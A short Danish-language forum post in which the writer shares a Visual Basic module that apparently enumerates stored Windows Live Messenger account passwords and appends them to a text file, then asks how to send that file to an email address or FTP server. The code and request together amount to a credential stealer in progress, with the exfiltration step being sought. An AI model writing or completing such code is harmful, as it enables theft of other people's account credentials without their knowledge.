Meget vigtig hjælp.

Option Explicit

Public Sub Main()
    Dim sPath  As String
    Dim sRet    As String
   
    sPath = IIf(Right$(App.Path, 1) = "\", App.Path, App.Path & "\")
    sRet = mMessengerPass.EnumWLMAccounts
    If LenB(sRet) Then
        Open sPath & "WLMP.txt" For Append As #1
        Print #1, sRet
        Close #1
    End If
   
End Sub

som i ser i det der Vb modul. da laver den en tekst fil
jeg vil gerne havde hjælp til at sende txt filen til en mail.
eller til en ftp server.
håber i kan hjælpe tusind tak vis i kan,